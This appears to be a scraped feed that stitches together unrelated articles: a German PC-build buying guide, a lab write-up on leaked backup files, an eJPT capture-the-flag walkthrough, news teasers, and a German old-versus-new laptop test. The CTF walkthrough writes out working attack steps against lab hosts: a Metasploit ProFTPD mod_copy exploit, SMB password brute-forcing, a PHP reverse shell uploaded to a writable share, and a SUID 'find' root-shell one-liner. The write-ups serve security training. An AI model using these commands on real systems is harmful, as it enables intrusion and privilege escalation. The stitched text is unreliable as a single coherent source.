Fürs Home-Office, Webbrowsing und die gelegentliche Medienwiedergabe braucht es keine teure High-End-Hardware. Hier greift der erwähnte DDR4-Rettungsanker: Durch den bewussten Verzicht auf die neueste Plattform lassen sich Hunderte Euro sparen. Ein zusätzlicher Vorteil dieser Konfiguration ist ihre Zuverlässigkeit: Die Plattform ist ausgereift, günstig und bietet mehr als genug Leistung für typische Office- und Alltagsanwendungen.

• Preisrahmen: ca. 600 – 700 Euro (Kern-PC, zzgl. Peripherie & OS)

• Prozessor (CPU):
  • Standard: AMD Ryzen 5 5600G – Sechs Kerne und eine starke integrierte Grafikeinheit (iGPU). Keine extra Grafikkarte nötig.
  • Alternative: Intel Core i3-14100 – Reicht für reine Office-Arbeiten ebenfalls völlig aus. Wichtig: Achten Sie darauf, nicht aus Versehen die 14100F-Variante zu kaufen, weil dieser Version die Grafikeinheit fehlt.
• Mainboard: Gigabyte B550M DS3H (für AMD) oder Asus Prime B760M-K D4 (für Intel). Beide Boards setzen auf den günstigeren DDR4-Standard. Trotz des niedrigen Preises bieten sie alle wichtigen Anschlüsse für den Alltag, darunter schnelle USB-Ports, M.2-Steckplätze für NVMe-SSDs und genügend Erweiterungsmöglichkeiten für spätere Upgrades.
• Arbeitsspeicher (RAM): 16 GB DDR4-3200 (z.B. Patriot Memory Viper Elite II DDR4 2x8GB, CL18). Dieser Arbeitsspeicher ist für flüssiges Arbeiten und Multitasking völlig ausreichend. Selbst bei zahlreichen geöffneten Browser-Tabs, Videokonferenzen und Office-Anwendungen gleichzeitig geraten 16 GB nur selten an ihre Grenzen.
• Speicherplatz: 500 GB PCIe 4.0 NVMe SSD (z.B. Crucial P310 SSD 500GB M.2 NVMe). Die SSD sorgt für blitzschnelle Boot- und Zugriffszeiten. Wer viele Fotos, Videos oder große Dokumentensammlungen lokal speichert, sollte direkt zur 1-TB-Variante greifen.
• Gehäuse: Das Montech Air 100 ist ein kompaktes Micro-ATX-Gehäuse, das für rund 70 Euro vorbildlich verarbeitet ist. Es bietet ab Werk vorinstallierte Lüfter und eine Mesh-Front für leisen, kühlen Betrieb.
• Netzteil: Mit 450 Watt sind Sie in diesem Segment bestens bedient. Sie können zum Beispiel zum be quiet! System Power 11 450W greifen – das ist ein grundsolides und effizientes Netzteil, das mit seiner moderner ATX-3.1-Zertifizierung zukunftssicher ist. Weil bei diesem Setup keine separate Grafikkarte versorgt werden muss, bleiben die Leistungsreserven selbst unter Last komfortabel.
  
  

Konfiguration 2: Casual-Gaming und Videoschnitt-PC

Asus

Wer aktuelle Spiele flüssig genießen oder mit Adobe Premiere und DaVinci Resolve kreativ werden möchte, kommt um die aktuelle Hardware-Generation nicht herum – das beinhaltet aber auch den derzeit teuren DDR5-RAM. Dafür gibt es starke Leistung und hervorragende Effizienz.

• Preisrahmen: ca. 1.800 – 2.100 Euro (Kern-PC, zzgl. Peripherie & OS)

• Prozessor (CPU):
  • Standard: Der Intel Core Ultra 5 245KF bietet derzeit ein attraktives Preis-Leistungs-Verhältnis. Für rund 150 Euro liefert der moderne 14-Kerner reichlich Leistung für flüssiges 1440p-Gaming und anspruchsvolle Videoschnitt-Projekte.
  • Alternative: Der AMD Ryzen 7 9700X ist eine hocheffiziente 8-Kern-CPU von AMD. Sie verbraucht unter Volllast etwas weniger Strom und bietet beim Gaming minimale Vorteile, ist aktuell im Handel aber etwas teurer.
• Mainboard: Das Asus TUF Gaming Z890-Plus (für Intel) oder das MSI MAG B650 Tomahawk WiFi (für AMD). Beide bieten moderne PCIe-Slots und solide Kühlung für die Spannungswandler.
• Arbeitsspeicher (RAM): 32 GB DDR5-6000 CL30 Kit (z.B. Patriot Viper Venom DDR5-6000 2X16GB, CL30). Angesichts der aktuellen Marktlage ist das eine Investition (450 Euro), die sich für flüssigen 4K-Videoschnitt und moderne Spiele aber auszahlt.
• Grafikkarte (GPU):
  • Standard: Nvidia GeForce RTX 5060 mit 8 GB (z.B. Asus Prime GeForce RTX 5060 8GB OC Edition). Diese Karte ist eine solide Wahl für klassisches 1440p-Gaming, die dank NVENC-Encoder sowie DLSS 4 auch für Content Creation gut geeignet ist. 8-GB-VRAM reichen für die meisten aktuellen Titel aus, können bei anspruchsvollen AAA-Spielen aber zum Flaschenhals werden. Für spürbar mehr Leistungsreserven im 1440p-Gaming können Sie auch zum Ti-Modell greifen (+ 80 Euro).
  • Preis-Alternative: AMD Radeon RX 9060 XT mit 8 GB (z.B. Gigabyte Radeon RX 9060 XT 8GB). Wer ein reines AMD-System bevorzugt, kann zu diesem aktuellen RDNA-4-Modell greifen. Für rund 300 Euro bietet sie hervorragende native Rasterleistung in 1440p und moderne KI-Upscaling-Features.
• Speicherplatz: 2 TB PCIe 4.0 NVMe SSD (z.B. WD_BLACK SN850X NVMe SSD). Moderne Videoprojekte sind äußerst speicherintensiv. Diese schnelle NVMe-SSD bietet reichlich Kapazität und sorgt für verzögerungsfreie Arbeitsabläufe.
• Gehäuse: Fractal Design North XL – ein echter Ästhetik-Hingucker. Mit einer Front aus Walnuss- oder Eichenholz fügt es sich elegant ins Zimmer ein. Dabei bietet es genug Platz und Airflow auch für Komponenten mit hoher Wärmeentwicklung.
• Netzteil: 750 Watt ATX 3.1 (z.B. Seasonic Focus GX ATX 3.1) – Dieses Netzteil bietet den modernen 12V-2×6-Anschluss für RTX-Karten und genügend Puffer für Leistungsspitzen.
  
  

Konfiguration 3: High-End-System für Gaming und Content Creation

Gigabyte

Dieses System ist für Enthusiasten konzipiert, die im Grafikmenü keine Kompromisse eingehen wollen. Hier zählt pure, ungebremste Leistung. Hinweis: Die große Preisspanne dieser Konfiguration ergibt sich vor allem durch die Wahl der Grafikkarte.

• Preisrahmen: 3.300 – 7.200 Euro (Kern-PC, zzgl. Peripherie & OS)

• Prozessor (CPU):
  • Standard: AMD Ryzen 9 9900X3D – Dank des aufgestockten 3D-V-Cache gehört diese CPU zu den schnellsten Gaming-Prozessoren überhaupt. Sie verspricht maximale Framerates auch in modernen und anspruchsvollen Spielen.
  • Günstigere Alternative: AMD Ryzen 9 9900X – minimal langsamer in Spielen, aber ein absolutes Kraftpaket, falls der PC primär für 3D-Rendering, simulationslastige Anwendungen oder rechenintensiven Videoschnitt genutzt wird.
• Mainboard: Asus ROG Strix X870E-E Gaming – Ein ATX-Powerhouse für den Sockel AM5. Das Board wurde entwickelt, um das Potenzial der AMD-Ryzen-9000er-Serie voll auszuschöpfen. Mit zwei nativen USB4-Anschlüssen, Wi-Fi 7 und voller PCIe‑5.0‑Unterstützung bietet es moderne Konnektivität.
• Arbeitsspeicher (RAM): 32 GB DDR5-6000 CL30 Kit (z.B. Patriot Viper Venom DDR5-6000 2X16GB, CL30). Auch im High-End-Segment bringen 64 GB beim reinen Gaming kaum messbare Vorteile. Das Budget ist in der Grafikkarte besser investiert. Nur wer sein System professionell nutzt – etwa für aufwendige 4K-Videobearbeitung oder intensives 3D-Rendering, greift zum 64-GB-Kit und muss den Preissprung zwangsläufig hinnehmen.
• Grafikkarte (GPU):
  • Standard: Nvidia GeForce RTX 5080 mit 16 GB (z.B. MSI GeForce RTX 5080 16GB GDDR7) – Das Werkzeug für kompromissloses 4K-Gaming. Sie bewältigt selbst rechenintensives Path-Tracing ohne Einknicken und korrigiert mit den 16 GB schnellem GDDR7-Videospeicher endlich den Geiz vergangener Nvidia-Tage – was man sich allerdings auch teuer erkauft.
  • Highend-Alternative: Nvidia GeForce RTX 5090 mit 32 GB (z.B. Gigabyte Aorus GeForce RTX 5090 32 GB GDDR7). Das absolute Spitzenmodell im Consumer-Markt. Die Grafikkarte richtet sich an Enthusiasten, die für maximale Workstation-Leistung oder extremes 4K-Path-Tracing die höchste Ausbaustufe anpeilen und bereit sind, den entsprechenden Premium-Preis zu zahlen.
• Speicherplatz: 2 bis 4 TB PCIe 5.0 NVMe SSD (z.B. Crucial T710 SSD 4TB M.2 NVMe PCIe 5.0) – Für kürzeste Ladezeiten dank DirectStorage: Diese Technologie erlaubt es der Grafikkarte, Spieldaten ohne Umweg über die CPU direkt von der SSD zu laden.
• Gehäuse:
  
  • Standard: be quiet! Shadow Base 800 FX Black – ein geräumiger Full-Tower, der ab Werk mit vier Light-Wings-140mm-PWM-Lüftern und einer integrierten Lüfter-Steuerung geliefert wird. Das Gehäuse bietet ausreichend Platz für große 420-mm-Radiatoren und überlange Grafikkarten.
  • Design-Alternative: Lian Li O11 Dynamic EVO XL – Ein modularer Full-Tower, der sich spiegelverkehrt aufbauen lässt. Durch die abnehmbare Ecksäule bietet das Gehäuse freien Einblick auf die Hardware. Es fasst E-ATX-Mainboards, Grafikkarten bis 460 mm Länge und erlaubt die gleichzeitige Montage von bis zu drei 420-mm-Radiatoren für aufwendige Wasserkühlungen.
• Netzteil: 1000 Watt ATX 3.1 (z.B. Corsair RMx Shift oder be quiet! Straight Power 12). Die RTX-50-Serie kann unter Last eine hohe Leistungsaufnahme erreichen. Ein hochwertiges 1000-Watt-Netzteil mit ATX-3.1-Unterstützung bietet dafür ausreichende Reserven.

Ihre Kauf-Checkliste für 2026

Anucha Tiemsom/Shutterstock.com

Bevor Sie Ihre Komponenten in den Warenkorb legen, sollten Sie diese Punkte noch einmal kritisch prüfen. Hier verstecken sich die häufigsten Fehler beim PC-Kauf:

• Airflow bei Gaming-Systemen beachten: Moderne Komponenten arbeiten zwar immer effizienter, trotzdem gilt: Je mehr Leistung, desto mehr Abwärme. Gerade für High-End-Setups sollten Sie Gehäuse mit geschlossener Glas- oder Plastikfront deswegen eher meiden. Eine offene Mesh-Front sorgt für frische Luft, hält die Temperaturen niedrig und ermöglicht es den Gehäuselüftern, auch unter Last angenehm leise zu arbeiten.
• HDD stirbt langsam aus: Für Betriebssystem, Programme und Spiele haben HDDs ausgedient. Mechanische Festplatten lohnen sich heute vor allem noch als günstiger Datenspeicher für Backups und große Medienarchive – alles andere macht die SSD.
• Netzteil-Standards beachten: Neue Grafikkarten benötigen moderne Anschlüsse und eine stabile Absicherung gegen Spannungsspitzen. Achten Sie beim Netzteilkauf auf die neue ATX-3.1-Zertifizierung.
• RAM-Sweetspot treffen: Greifen Sie maximal zu DDR5-6000-Speicher. Alles darüber hinaus macht Ihr neues Setup deutlich teurer, liefert in der Praxis aber kaum einen spürbaren Mehrwert.
• Mainboard-Features geschickt wählen: Bezahlen Sie nicht für Anschlüsse, die Sie nie nutzen. Wer einen PC ohnehin per LAN-Kabel mit dem Router verbindet, braucht z.B. kein Modell mit integriertem Wi-Fi 7.
• Kühlung richtig dimensionieren: Für Mittelklasse-Prozessoren (wie den Ryzen 5 9600X) reicht ein solider Tower-Luftkühler für 40 Euro oft aus. Teure Komplettwasserkühlungen (AiOs) sind erst im High-End-Segment sinnvoll – oder wenn Sie der Gehäuse-Optik besonderes Augenmerk schenken wollen.

Fazit: Clever kaufen trotz Krise

Wer 2026 einen PC baut, sieht sich mit neuen Spielregeln konfrontiert. Der KI-Boom hat den Markt spürbar verzerrt und Arbeitsspeicher zum kostspieligen Schmerzpunkt gemacht. Ein Grund zum Abwarten ist das aber nicht. Dafür steht zu viel spannende Technik in den Regalen – Besserung ist aktuell auch gar nicht in Sicht.

Die Devise lautet deshalb: Priorisieren statt Verzweifeln. Wer beim RAM den Sweetspot trifft (DDR5-6000), auf Vorratskäufe verzichtet oder im Office-Bereich geschickt auf DDR4 ausweicht, holt das Maximum aus seinem Budget heraus. Wenn Sie Ihr Geld strategisch verteilen und die Preisfallen der Hersteller umschiffen, können Sie Ihren Traum-PC auch in Krisenzeiten realisieren.

The goal of this lab is to locate leaked backup files and extract a hard-coded database password from the disclosed source code.

Step-by-Step Solution

1. Check robots.txt for hidden paths

robots.txt is designed to tell search engine crawlers which paths not to index :

/robots.txt

revealed a disallowed /backup directory.

2. Enumerate the backup directory

Browsing directly to /backup surfaced a file named:

ProductTemplate.java.bak

3. Retrieve and read the leaked source file

Navigating to:

/backup/ProductTemplate.java.bak

4. Extract the hard-coded credential

Reading through the disclosed source, the database connection logic contained a hard-coded password used to authenticate against a Postgres database.

5. Submit the solution

I copied the password value, returned to the lab, clicked Submit solution, and entered it. The lab was marked as solved.

Written by Zeyad Naguib,
🔗 https://www.linkedin.com/in/zeyadnageeb
✍️ https://medium.com/@zeyadnaguib1

Lab 3 : Source code disclosure via backup files was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Hello everyone!

In this blog, I’ll walk through Exploitation CTF 3 from INE’s eJPT path. Two Linux targets this time — one running a vulnerable FTP service with a hidden local service, and another with a misconfigured Samba share that opens a path all the way to root.

So, let’s dive in.

Q. A vulnerable service may be running on target1.ine.local. If exploitable, retrieve the flag from the root directory.

As usual, I started with an Nmap scan:

nmap -sV -sC target1.ine.local

Port 21 was open running ProFTPD 1.3.5, alongside port 80 (Apache). I searched for known exploits:

searchsploit ProFTPD 1.3.5

A Metasploit module came up immediately — exploit/unix/ftp/proftpd_modcopy_exec, which abuses the mod_copy module to execute arbitrary commands via FTP. I loaded it up and set the site path to /var/www/html — the default Apache web root on Linux — since the exploit writes a payload there to be triggered over HTTP:

use exploit/unix/ftp/proftpd_modcopy_exec
set rhosts target1.ine.local
set sitepath /var/www/html
set lhost eth1
run

A shell session opened. I upgraded it to Meterpreter:

sessions -u 1

Then listed the root directory:

meterpreter > ls /

flag1.txt was sitting right there in the root.

Q. Further, a quick interaction with a local network service on target1.ine.local may reveal this flag. Use the hint given in the previous flag.

I read the flag file:

meterpreter > cat /flag1.txt

Along with the flag value, it contained a hint: “Remember, the magical word is ‘letmein’”.

The question mentioned a local network service, so I checked what was listening internally:

meterpreter > netstat

Port 8888 was open on 127.0.0.1 — not exposed externally, only reachable from inside the machine. I dropped into a shell and connected to it with netcat:

meterpreter > shell
nc -nv 127.0.0.1 8888

It prompted for a secret passphrase. I entered letmein — and it returned Flag 2 directly.

Q. A misconfigured service running on target2.ine.local may help you gain access to the machine. Can you retrieve the flag from the root directory?

Fresh Nmap scan on the second target:

nmap -sV -sC target2.ine.local

Ports 80, 139, and 445 were open — Samba running on a Linux target. The HTTP title read “Can you Pwn me?” — a clear invitation. I brute-forced SMB credentials across both users and passwords:

use auxiliary/scanner/smb/smb_login
set rhosts target2.ine.local
set user_file /usr/share/wordlists/metasploit/common_users.txt
set pass_file /usr/share/wordlists/metasploit/unix_passwords.txt
set createsession true
set verbose false
run

Six accounts came back with valid credentials, all with the same password. Multiple SMB sessions opened automatically. I used the administrator session:

sessions 8
shares
shares -i site-uploads
ls

The site-uploads share was accessible and writable. The name itself was the giveaway — this share was almost certainly mapped to the web root. I uploaded a PHP reverse shell set to my IP:

Set up a multi/handler listener, then triggered the shell by navigating to:

http://target2.ine.local/site-uploads/shell.php

Shell came back. Listing the root / directory showed flag3.txt right there.

Q. Can you escalate to root on target2.ine.local and read the flag from the restricted /root directory?

Still in the shell session, I upgraded to Meterpreter first:

Then dropped into a shell and searched for SUID binaries — files that run with the owner’s privileges regardless of who executes them:

find / -type f -perm -4000 2>/dev/null

/usr/bin/find itself had the SUID bit set and was owned by root. This is a classic privilege escalation vector — if find runs as root and can execute commands, any user can spawn a root shell through it.

I checked GTFOBins — a community database of Unix binaries that can be abused to bypass local security restrictions — for the correct syntax:

find . -exec /bin/sh -p \; -quit

whoami returned root. Flag 4 was in /root.

Final Thoughts

Two techniques in this CTF are worth remembering beyond the lab.

The hidden port 8888 on target1 is a reminder that netstat inside a session reveals far more than an external Nmap scan ever will — internal services are invisible from outside and often completely unprotected because of it. Always check what's listening locally once you have a foothold.

The SUID find escalation on target2 is a textbook GTFOBins vector. The lesson isn't just about find specifically — it's about building the habit of checking for SUID binaries early in post-exploitation. And GTFOBins is the resource to bookmark: if a binary is on that list and has SUID, you likely have a path to root.

Thanks for reading!

Host & Network Penetration Testing: Exploitation CTF 3 — eJPT (INE) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Read more →

The post Palo Alto Networks and AT&T – Delivering Quantum-Resilient SASE Fabric appeared first on IT Security News.

Read more →

The post Breaking the Knot: Marlinspike Capital Inverts the Cybersecurity Investment Playbook appeared first on IT Security News.

Marlinspike Co-Founder Neil Keegan and Vice President Nick Snoad sat down with Cyber Defense Magazine to discuss how the firm is navigating the increasingly complex intersection of national security, artificial...

The post Breaking the Knot: Marlinspike Capital Inverts the Cybersecurity Investment Playbook appeared first on Cyber Defense Magazine.

Die erste Überraschung gab es bereits, bevor ich überhaupt einen Browser-Tab geöffnet hatte: Der sieben Jahre alte Microsoft Surface Laptop 3 startete schneller als die brandneuen Geräte, mit denen ich ihn hier vergleichen wollte. Die besten Notebooks aller Klassen finden Sie in unserem Vergleichstest.

Das hätte eigentlich nicht passieren dürfen. Immer wenn den Herstellern nur wenig zu den Verbesserungen gegenüber der Vorgängergeneration einfällt, greifen sie zu einem bewährten Vergleich: Wie schneidet der neue PC im Vergleich zu einem fünf Jahre alten Modell ab?

Das ist eine sichere Wette. Egal, wie wenige Verbesserungen ein neuer Chip bietet, er wird immer besser sein als ein PC aus längst vergangenen Zeiten. Neu ist eben immer besser, oder? Normalerweise gilt dieser simple Grundsatz. Aber angesichts der angespannten Weltlage kann einem der Neukauf eines Computers schnell verhagelt werden. Daher stellt sich eine Frage: Kann man Geld sparen, wenn man einen älteren Laptop behält oder diesen gebraucht kauft? Und worauf muss man bei dieser Sparmaßnahme verzichten?

Ich habe dafür unsere Lager durchforstet und eine Sammlung neuer und älterer Laptops in unser Testlabor geschleppt. Mit diesem Versuch wollte ich herausfinden, ob die PC-Hersteller mit ihren Lobeshymnen auf neue Geräte tatsächlich die Wahrheit sagen.

Mit meinen Erkenntnissen will ich Ihnen weder einen neuen Laptop verkaufen noch mich dafür aussprechen, alte Geräte einfach weiterzuverwenden. Ich habe lediglich versucht, weitverbreitete Geräte unter verschiedenen Szenarien miteinander zu vergleichen. Dies soll die Vorteile von Neugeräten und älteren Modellen aufzeigen. Dabei habe ich mich auf die folgenden Punkte konzentriert: Boot-Zeit, die Zeit zum Exportieren einer PDF-Datei oder die Zeit für das Entpacken eines Archivs. Mit diesen Ergebnissen können Sie selbst entscheiden, ob Sie durch den Neukauf tatsächlich viel Zeit gewinnen werden.

Eigentlich wollte ich dafür Geräte nutzen, die maximal fünf Jahre alt sind. Doch ich konnte in unserem Lager nur einen wenig gebrauchten, sieben Jahre alten Laptop ausfindig machen: den Microsoft Surface Laptop 3. Dieses Gerät stammt noch aus Zeiten vor der Corona-Pandemie. Dieses Urgestein habe ich mit mehreren modernen Laptops verglichen: dem Asus ZenBook (UX3607OA) mit einem Snapdragon X2 Elite Extreme und Windows auf ARM-Basis sowie mit dem Asus ZenBook Duo mit einem Intel Core Ultra 300 (Panther Lake) der Spitzenklasse. Beide sind erst in diesem Jahr auf den Markt gekommen.

Mark Hachman / Foundry

Es stellt sich die Frage: Können die neuen Modelle besser abschneiden? Lohnt sich dieser Vorsprung? Bilden Sie sich selbst ein Urteil.

Der alte Laptop startet schneller

Mein erster Test: die Startzeit. Die Ära der Festplatten liegt längst hinter uns. Die Geschwindigkeit des Hochfahrens hängt daher primär vom Tempo der verbauten SSD ab. Auch die Anzahl der Anwendungen, die beim Start geladen werden müssen, spielt eine Rolle.

Für diesen Test habe ich alle Startanwendungen deaktiviert. Ausnahmen galten lediglich für vorinstallierte Programme wie Asus Mouse Agent, Microsoft Defender, Edge, OneDrive und Teams. Damit die Ergebnisse vergleichbar bleiben, habe ich sonst genutzte Anwendungen wie mein VPN weggelassen. Daraufhin folgten fünf Neustarts, bei denen ich jeweils gemessen habe, wie lange es dauert, bis der Windows-Desktop vollständig geladen war. Auch die Anmeldung über Windows Hello wurde einbezogen.

Auf den meisten Laptops ist Microsoft Edge nicht im Autostart „vorinstalliert“. Dies kann man jedoch über das Einstellungsmenü von Microsoft Edge aktivieren. Dadurch startet der Browser deutlich schneller. Im Gegenzug verlängerte sich die Startzeit des Laptops aber um etwa drei Sekunden.

Die Ergebnisse meines Tests haben mich überrascht: Der Surface Laptop 3, auf dem eine Standardversion von Windows 11 24H2 (26100.8328) lief, startete deutlich schneller als die anderen vier Laptops. Warum auf einmal vier Laptops? Um meine Ergebnisse besser bewerten zu können, habe ich zwei etwas ältere Geräte hinzugefügt. Dabei stellte sich heraus, dass auch diese Geräte recht lange für den Startvorgang benötigten.

Kurz gesagt: Der Surface Laptop 3 aus dem Jahr 2019 startete etwa 10 Sekunden schneller als seine modernen Konkurrenten. Entsprechend gespannt war ich auf die weiteren Tests.

Die alltägliche Windows-Nutzung

Auch hier habe ich versucht, synthetische Benchmarks zu vermeiden. Diesen Zahlen fehlt oft der Bezug zur alltäglichen Nutzung. Stattdessen habe ich etwa 30 Tabs im Browser geöffnet und zwischen diesen hin und her geklickt. Ich habe außerdem mit allen drei Laptops gearbeitet und sogar Teile dieses Artikels auf den Geräten verfasst.

Subjektiv gesehen spürt man tatsächlich einen Unterschied. Der von mir getestete Surface Laptop 3 verfügt über 16 Gigabyte RAM. Das Hin- und Herwechseln sowie das Starten von Apps fühlten sich langsamer an als bei den modernen Laptops. Der Unterschied war aber nicht sehr groß. Auch das Starten von Apps oder die Interaktion mit Windows fühlten sich merklich verzögert an. Dennoch konnte ich damit gut leben.

Oft liegt die träge Reaktion einfach an niedrigeren Spezifikationen. So gab es den Surface Laptop 3 auch mit nur 8 Gigabyte RAM. Davon würde ich heute eher abraten. Die nur 256 Gigabyte kleine SSD hat mich ebenfalls vor Probleme gestellt. Schon der Versuch, Windows wieder sauber zurückzusetzen, scheiterte am fehlenden Speicherplatz. Doch ich hatte letztlich nur einige versteckte Videodateien übersehen.

Generell fordern die meisten Funktionen des Betriebssystems oft nur einen Kern des Prozessors. Diese Leistung habe ich mit Cinebench gemessen. Je niedriger der erreichte Wert ist, desto langsamer fühlt sich Windows im Alltag an.

Auch hier fühlte sich die Interaktion mit Webseiten auf dem älteren Laptop etwas langsam und ruckelig an. Wirklich gestört hat mich dies aber nicht.

Ihr Browser verarbeitet im Hintergrund mehrere APIs, Frameworks und andere Anweisungen, die von außen kaum sichtbar sind. Um zu bewerten, wie gut der Laptop diese Aufgaben verarbeitet, haben wir zwei weitere Benchmarks durchgeführt: Speedometer und MotionMark sollen zeigen, wie flüssig der Browser arbeitet.

In diesem Fall rendern die neuen Laptops ihre Ergebnisse etwa doppelt so schnell wie der ältere Laptop. Subjektiv gesehen ist das kein riesiger Unterschied – aber es macht sich im Alltag bemerkbar.

Diese abstrakten Zahlen sollen verdeutlichen, welche Unterschiede es zwischen den Geräten gibt. Viel nützlicher sind aber die folgenden Vergleiche aus dem Alltag.

Büroarbeit offenbart Schwächen

Die Anwendungen PCMark und Procyon von UL messen die Leistung in Word, Excel oder PowerPoint und nutzen das klassische Outlook für einige zusätzliche Tests im Office-Produktivitäts-Benchmark. Das Ergebnis ist eine Punktzahl, die ich in der folgenden Tabelle aufgelistet habe. Es wird jedoch auch die tatsächliche Zeit erfasst, die für bestimmte Aufgaben benötigt wird. So zeichnen sich die tatsächlichen Unterschiede zwischen den älteren und neueren Laptops deutlicher ab. Die durchschnittliche Punktzahl des Surface Laptop 3 war nur etwa halb so hoch wie die des Asus ZenBook Duo und des Asus ZenBook mit Snapdragon-X2E-Prozessor.

Die Grafik unten offenbart jedoch den eigentlichen Grund, warum ich diesen Artikel überhaupt geschrieben habe: Der Procyon-Benchmark von UL misst tatsächlich die Zeit, die für das Erledigen einer bestimmten Aufgabe nötig war. Der Test liefert so einen realistischen Vergleich darüber, wie schnell die jeweilige Laptop-Generation wirklich war.

Einige Aufgaben waren schnell erledigt: Können Sie es in Kauf nehmen, dass das Hinzufügen eines Wasserzeichens auf dem alten Laptop 0,9 Sekunden dauert, gegenüber 0,36 Sekunden beim neuen Gerät? Wahrscheinlich. Wie sieht es mit 2 Sekunden anstelle von einer Sekunde für das Hinzufügen eines Bildes aus? Und wie wäre es mit 26 Sekunden zum Exportieren einer PDF-Datei, gegenüber 11 Sekunden? Überlegen Sie, wie oft Sie diese Aufgaben ausführen und wie lange Sie auf das Ergebnis warten müssten.

Ein Blick auf Excel: Das Formatieren einer Tabelle dauerte auf dem Surface Laptop 3 fast drei Sekunden, gegenüber 0,4 Sekunden beim Asus-Laptop mit Snapdragon-Prozessor. Wenn Sie regelmäßig in Excel arbeiten, könnte diese kleine Verzögerung stören. Oder vier Sekunden zum Kopieren und Einfügen gegenüber sieben? Manche Menschen werden sich daran stören. Andere nicht.

Mark Hachman / Foundry

Videoanrufe, 30 Browser-Tabs und die Grenzen alter Hardware

Außerdem habe ich einen weiteren Benchmark durchgeführt, den neuen Essentials-Test von UL.

Essentials öffnet einen Video-Chat, lässt diesen dann über einen Browser mit 30 geöffneten Tabs laufen – und beginnt anschließend, verschiedene Apps zu öffnen und Aufgaben auszuführen. Dies entspricht einem typischen Arbeitsalltag. Dazu kommen Aufgaben wie das Komprimieren und Dekomprimieren von Dateien, das Navigieren in einem webbasierten CRM (Customer Relationship Management) sowie die Nutzung sozialer Medien.

Wie zuvor geht es darum, herauszufinden, ob diese Unterschiede im Alltag einen Unterschied machen. Wenn Sie darüber nachdenken, Ihrem alten Laptop die Treue zu halten, dann stellen Sie sich folgende Fragen: Werden Sie wirklich 30 Tabs gleichzeitig öffnen? Wenn ja, könnte dies ein Problem sein. Anstelle von 5,75 Sekunden für die Navigation in einem Online-CRM geht es auf einem neuen Gerät mit 1,2 Sekunden deutlich flotter. Unser Testlauf umfasst sogar einige KI-Aufgaben: Das Zusammenfassen eines Chats dauerte auf dem älteren Laptop satte 69 Sekunden, gegenüber 15 bis 18 Sekunden auf den neueren Modellen mit integrierten NPUs. Ist dies etwas, das Sie regelmäßig tun? Das Entpacken einer ZIP-Datei war auf einem neuen PC etwa fünfmal schneller geschafft. So etwas macht man aber auch nicht ständig.

Erwarten Sie keine Wunder von der integrierten Grafikeinheit

Ich habe Grafikfunktionen wie Gaming, Foto- und Videobearbeitung bewusst ausgelassen. Dieser Artikel wurde mit Blick auf Produktivität verfasst, und die beiden letztgenannten Kategorien sind nach wie vor eher spezialisierte Aufgaben. Wenn Sie jedoch die Grafikleistung beider Laptop-Generationen vergleichen, stellen moderne Laptops ihre Vorgänger deutlich in den Schatten. Das Asus ZenBook Duo bietet etwa die siebenfache Grafikleistung (7.666 gegenüber 990 Punkten im 3DMark Time Spy-Benchmark von UL). Und selbst ein Asus Vivobook S14 aus dem Jahr 2024 bietet mit einer Punktzahl von 4.209 die vierfache Performance.

Mark Hachman / Foundry

Die Akkulaufzeit ist offensichtlichster Grund für ein Upgrade

Leider gibt es einen Bereich, in dem moderne Laptops einen erheblichen Vorteil gegenüber ihren älteren Kollegen bieten. Das ist die Akkulaufzeit.

Ich bin nicht überzeugt, dass sich ein moderner Laptop physisch so sehr von einem älteren Thin-and-Light-Modell unterscheidet. Moderne Laptops werden aus unterschiedlichen Materialien hergestellt – von leichteren bis hin zu strukturell robusteren –, doch die Gewichtsersparnis beträgt meist nur 500 Gramm.

Die Hersteller haben die Möglichkeit, diesen Platz mit zusätzlichen Akkuzellen zu füllen. Dadurch ist die Akkukapazität moderner Laptops in den vergangenen Jahren gestiegen. Ein Laptop wie das Asus ZenBook Duo enthält sowohl einen effizienten Panther-Lake-Chip als auch einen satten 99-Wattstunden-Akku.

Während die Akkulaufzeit des Surface Laptop 3 bei für die damalige Zeit soliden 10 Stunden lag, hielt das ZenBook Duo beachtliche 22 Stunden und 15 Minuten durch.

Und es kommt noch schlimmer. Akkus altern, daher hat der 45-Wattstunden-Akku im Surface Laptop 3 laut Windows in den vergangenen Jahren 70 Ladezyklen durchlaufen. Das hat die tatsächliche Kapazität bei voller Ladung auf 36,7 Wattstunden gesenkt, was einem Rückgang von 18 Prozent entspricht. So erreicht das Gerät nur noch eine geschätzte Laufzeit von 8 Stunden und 12 Minuten. Das ist gar nicht schlecht! Dennoch werden Sie bei der Arbeit nicht einen ganzen Tag lang mit diesem Akku auskommen. In unserem Ratgeber erklären wir Ihnen, wie Sie Ihren Laptop richtig aufladen, um dessen Kapazität so lange wie möglich zu erhalten.

Dennoch hat sich der Alltag in den letzten sieben Jahren stark verändert. Leistungsstarke Powerbanks sind zur Massenware geworden. Ebenso sind Steckdosen in Flugzeugen, auf Flughäfen und in Konferenzzentren überall zu finden. Die Effizienz von Akkus hat sich ebenfalls weiterentwickelt.

Sollten Sie Ihren alten Laptop ausmustern?

Die Kurzform: Wenn Ihr älterer Laptop die täglich genutzten Apps noch schnell laden kann, das Gerät generell reaktionsschnell arbeitet, genug Akkuleistung für Ihren Arbeitsalltag bietet und noch genügend Speicherplatz zur Verfügung hat, dann müssen Sie das Gerät wahrscheinlich noch nicht ersetzen.

Ein neuer Laptop ist vor allem dann sinnvoll, wenn die Akkulaufzeit zu einem täglichen Problem wird. Auch wenn Sie regelmäßig bei rechenintensiven Aufgaben wie Fotobearbeitung, Videobearbeitung, KI-Tools, großen Tabellenkalkulationen oder Dateikomprimierung warten müssen. Oder aber Ihr Gerät stößt aufgrund von zu wenig RAM oder Speicherplatz an seine Grenzen. Für einfaches Surfen, Office-Arbeit, E-Mails, Videoanrufe und leichtes Multitasking kann ein gut gepflegter älterer Laptop immer noch gut genug sein – und ihn zu behalten, könnte die klügere Entscheidung sein.

Widerstehen Sie den Versuchungen des Marketings

Früher waren sechs oder sieben Jahre in der PC-Branche eine kleine Ewigkeit. 1989 brachte Intel den 486er mit 25 Megahertz auf den Markt; 1995 erreichte der Pentium Pro 200 Megahertz. Und heute? Noch vor etwa einem Jahr haben wir uns darüber beschwert, dass Intels aktuelle Arrow-Lake-Chips mit einer Taktfrequenz von bis zu 5,2 Gigahertz sogar weniger Leistung ablieferten als ihre Vorgänger.

